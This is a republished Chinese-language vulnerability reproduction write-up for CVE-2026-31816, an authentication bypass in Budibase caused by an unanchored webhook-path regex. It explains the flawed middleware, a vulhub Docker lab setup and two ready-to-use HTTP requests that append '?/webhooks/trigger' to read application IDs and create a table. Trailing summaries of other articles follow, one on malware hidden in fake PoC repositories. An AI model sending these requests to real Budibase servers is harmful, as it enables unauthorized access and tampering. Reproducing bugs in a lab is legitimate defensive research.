CVE复现|CVE-2026-31816漏洞复现"

admin 2026-10-21 17:57:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CVE复现 | CVE-2026-31816漏洞复现

原创

LRT凌日
LRT凌日

凌日网络与信息安全团队LapR1skT

2026年7月10日 08:00
重庆

在小说阅读器读本章

去阅读

漏洞概述

Budibase 是一款开源低代码平台,用于快速构建内部工具、工作流自动化程序及管理后台面板。该漏洞源于服务端authorized() 中间件在识别 Webhook 路径时使用了非锚定正则表达式,导致其错误地匹配了 URL 中的查询参数。远程攻击者只需在 API 请求末尾拼接特定的 Webhook 路径字符串(如?/webhooks/trigger),即可绕过身份认证、角色鉴权及 CSRF 防护,实现对服务端所有 API 端点的完全访问与操作

漏洞逻辑

源码地址:

https://codeload.github.com/Budibase/budibase/zip/refs/tags/3.31.4

代码定位:

packages/server/src/middleware/authorized.ts#authorized

其中的isWebhookEndpoint()函数当内容为true,则跳转

我们点开WebhookEndpoint()的逻辑,发现只要是存在以下关键词,就会判定为true,并且该函数利用join进行拼接,也就是说url里面存在以下关键词,中间件就会放行,并且join会自动拼接我们想要的操作,攻击者就能随意修改内容

环境配置

https://github.com/vulhub/vulhub/tree/master/budibase/CVE-2026-31816

基于docker-compose.yml

搭建镜像

cd到CVE-2026-31816的路径下

1. docker-compose up -d

漏洞验证

在docker上面搭建好环境之后,启动进入主页面,默认管理员账号[email protected]:admin123456,之后创建一个workspace。
我们只需要在API端点之后附加 webhook 路径模式如 ?/webhooks/trigger就能获取到Appid

1. GET /api/applications?/webhooks/trigger HTTP/1.1
2. Host: your-ip:10000
3. Accept: application/json

再拿到了appid之后我们就能访问一些敏感的信息,例如用户信息

1. POST /api/tables?/webhooks/trigger HTTP/1.1
2. Host: your-ip:10000
3. Content-Type: application/json
4. x-budibase-app-id:<TARGETED_WORKSPACE_ID>
5. {\"name\":\"hacked_table\",\"schema\":{}}

参考文章

https://github.com/vulhub/vulhub/blob/master/budibase/CVE-2026-31816/README.zh-cn.md

免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

CVE复现|CVE-2026-31816漏洞复现" 网络安全文章

CVE复现|CVE-2026-31816漏洞复现"

该漏洞源于Budibase低代码平台authorized()中间件使用非锚定正则表达式匹配Webhook路径,攻击者通过拼接?/webhooks/trigger等字符串可绕过身份认证与CSRF防护,实现对所有API端点的未授权访问。复现需搭建Docker环境,利用默认管理员账号创建workspace后,在API请求后附加特定路径即可获取敏感信息。
当漏洞猎人成了猎物:ChocoPoC木马借假PoC仓库精准攻陷安全研究员" 网络安全文章

当漏洞猎人成了猎物:ChocoPoC木马借假PoC仓库精准攻陷安全研究员"

ChocoPoC是一种针对安全研究员的远控木马,通过GitHub上发布假漏洞利用代码(PoC)进行传播。恶意代码不直接出现在主程序中,而是隐藏在依赖包frint和skytext中,需检测到特定PoC文件才触发。木马会窃取浏览器密码、Cookie、文件并建立后门,通过Mapbox服务进行隐蔽通信。建议在隔离环境测试PoC、检查依赖链、扫描特定包并更换凭证。
AI时代最稀缺的能力之一是把问题研究透" 网络安全文章

AI时代最稀缺的能力之一是把问题研究透"

本文指出安全AIAgent核心在于围绕业务目标解决真实风险而非封装工具。作者强调AI时代定义目标比获取答案更重要,安全人需升级信息源、通过反馈校准判断。面对AGI加速的系统性变化,安全人应超越工具技巧,重点培养研究变化与定义问题的底层能力,文末含直播推广。
JC-STAR-1检查表重大更新!新旧版本核心差异拆解,申报少走90%弯路" 网络安全文章

JC-STAR-1检查表重大更新!新旧版本核心差异拆解,申报少走90%弯路"

JC-STAR-1检查表于2026年6月29日发布重大更新,核心改动包括表单架构拆分内部审核与公开版两套独立汇总表、判定规则全面收紧(NA豁免需硬性前置条件并提交双重佐证)、证据填报标准化(强制区分文档与实机测试类并配套固定模板)、合规条款补充落地细则以及新增多项企业书面合规义务。企业需立即切换新版检查表,逐条核对NA豁免条件,按新版标准化要求整理佐证材料,并内外材料分开管理以提升申报通过率。
评论:0   参与:  0